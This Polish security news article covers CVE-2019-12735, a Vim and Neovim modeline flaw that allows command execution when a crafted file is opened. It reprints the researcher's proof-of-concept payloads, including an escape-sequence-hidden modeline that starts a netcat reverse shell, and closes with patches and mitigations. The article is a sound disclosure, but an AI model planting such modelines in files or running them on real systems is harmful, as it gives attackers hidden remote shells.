Menu dostępności

Linux zhackowany przez otwarcie pliku w edytorze Vim lub Neovim!

Od jakiegoś czasu zaobserwowaliśmy trend w szukaniu „dziur” w prostych aplikacjach wbudowanych w system operacyjny. Nie tak dawno, bo w zeszłym tygodniu pisaliśmy o odkrytej podatności w aplikacji Notatnik w Windows umożliwiającej wykonanie zewnętrznego kodu (np. uruchomienie cmd.exe). Dzisiaj mamy dla Was nową ciekawą podatność związaną również z edytorem tekstowym, ale tym razem na Linux.


Użytkownicy Linuksa, strzeżcie się!

Jeśli nie zaktualizowaliście ostatnio swojego systemu operacyjnego Linux, zwłaszcza narzędzia Vim i NoeVim do edycji tekstu dostępnych z wiersza poleceń lub nie wyłączyliście w nich odpowiedniej funkcji, nie próbujcie nawet przeglądać zawartości plików za pomocą tych aplikacji! Można przejąć zdalną kontrolę nad Linux!

Z podatnościami związanymi z edytorem Vim mieliśmy do czynienia już dużo wcześniej. Niedawno kolejną odkrył researcher bezpieczeństwa Armin Razmjou. Tym razem luka polega na wykonywaniu dowolnych poleceń systemu operacyjnego o wysokim stopniu złośliwości (CVE-2019-12735) w aplikacji Vim oraz NeoVim – czyli w dwóch najbardziej popularnych aplikacjach do edycji tekstu dostępnych z wiersza poleceń (konsoli tekstowej), które są fabrycznie zainstalowane w większości systemów operacyjnych opartych na systemie Linux. W systemach Linux edytor Vim umożliwia użytkownikom tworzenie, przeglądanie lub edytowanie dowolnego pliku, w tym tekstu, skryptów programistycznych i dokumentów. Neovim jest rozszerzoną wersją Vima z bardziej wzbogaconymi funkcjami dla użytkowników, wtyczkami i GUI. W niej również występuje luka polegająca na możliwości wykonania złośliwego kodu.


Błąd wykonania kodu w Vimie i Neovimie

Razmjou odkrył lukę w sposobie, w jaki edytor Vim obsługuje „modeline” czyli funkcję, która służy do automatycznego wyszukiwania i pozwala określić niestandardowe opcje edytora na początku lub końcu pliku. Funkcja ta jest domyślnie włączona i stosowana do wszystkich typów plików, w tym zwykłych plików *.txt. Na przykład, jeśli umieścimy następujące polecenie w ostatnim wierszu programu w języku C to podczas edycji tego pliku otrzymamy szerokość tekstu wynoszącą 60 znaków:

/* vim: tw=60 ts=2: */

Zmienna modeline ustawia także liczbę linii (na początku i na końcu każdego pliku), które vim sprawdza w momencie inicjalizacji pliku.

Standardowo, jeśli plik zawiera niebezpieczne wyrażenie system Linux ze względów bezpieczeństwa używa do ochrony wbudowanej piaskownicy i zezwala tylko na wywołanie podzbioru funkcji dostępnych w modelinę. Razmjou ujawnił możliwość ominięcia zabezpieczeń (piaskownicy) w momencie, gdy użyje się polecenia „:source!” (z modyfikatorem na końcu w postaci wykrzyknika [!]).


Scenariusz ataku z wykorzystaniem modeline

Poniżej przedstawiono dwa przykłady (wywołania modeline):

1. Pierwszy przykład umożliwia uruchomienie polecenia „uname – a” z poziomu pliku tekstowego otwieranego w vim na systemie Linux: :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(„source\!\ \%”):fdl=0:fdt=

2. Drugi przykład pokazuje powagę zagrożenia i pozwala na wykonanie polecenia netcat i połączenia się ze zdalnym komputerem używając powłoki reverse shell \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 9999 -e /bin/sh &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n

Poniżej prezentujemy demo do opisanego scenariusza:

Potencjalne zagrożenie polega na otwarciu niewinnie wyglądającego specjalnie spreparowanego pliku przy użyciu Vima lub Neovima i może pozwolić atakującemu na potajemne wykonywanie poleceń w systemie Linux i przejęcie nad nim zdalnego sterowania!


Jak sobie radzić z problemem?

Przede wszystkim pobrać dostępne już łatki na aplikację Vim oraz Neovim:

  • Vim patch 8.1.1365
  • Neovim patch (released in v0.3.6)

Oprócz łatek na aplikacje zalecane jest:

  • wyłączenie funkcji modelines w edytorze Vim (opcja set nomodeline)
  • wyłączenie możliwości użycia wyrażeń w modelines dla modelineexpr
  • użycie wtyczki securemodelines.

W celu sprawdzenia czy masz wyłączoną funkcję modeline uruchom w Vim polecenie: :set modeline? Jeśli aplikacja Vim zwróci nomodeline to nie jest podatna na opisywane wyżej zagrożenie.

Popularne

Masowy wyciek danych PayPal – 15,8 miliona haseł w rękach cyberprzestępców

Masowy wyciek danych PayPal – 15,8 miliona haseł w rękach cyberprzestępców

16 sierpnia br. na forum cyberprzestępczym pojawiła się oferta sprzedaży ogromnej bazy danych, zawierającej ponad 15,8 miliona par adresów e-mail i haseł w formacie jawnego tekstu powiązanych z konta...
Groźna dziura w Microsoft IIS. Deserializacja usług może prowadzić do zdalnego wykonania kodu

Groźna dziura w Microsoft IIS. Deserializacja usług może prowadzić do zdalnego wykonania kodu

W połowie sierpnia 2025 roku ujawniono poważną lukę bezpieczeństwa w narzędziu Microsoft Web Deploy 4.0, używanym do publikacji aplikacji webowych na serwerach IIS. Luka – oznaczona jako CVE-2025-53772 – pozwal...
Wyciek kodu źródłowego trojana bankowego ERMAC V3.0

Wyciek kodu źródłowego trojana bankowego ERMAC V3.0

Świat cyberbezpieczeństwa odnotował kolejne znaczące wydarzenie – ujawniono pełny kod źródłowy zaawansowanego trojana bankowego ERMAC V3.0, stworzonego z myślą o urządzeniach z systemem Android i działające...
Miliony laptopów Dell narażone na kompromitację

Miliony laptopów Dell narażone na kompromitację

Niedawno pisaliśmy o kłopotach Lenovo, dzisiaj czas na Dell. Okazuje się, że pięć luk w oprogramowaniu ControlVault3 i powiązanych interfejsach API systemu Windows naraża miliony laptopów na trwałe w...
Co sprawia, że Deep Web jest cennym źródłem threat intelligence?

Co sprawia, że Deep Web jest cennym źródłem threat intelligence?

Deep Web, czyli warstwa Internetu niedostępna dla standardowych wyszukiwarek, często bywa pomijana w analizach bezpieczeństwa, mimo że stanowi niezwykle wartościowe źródło informacji o zagrożeniach. Jej tre...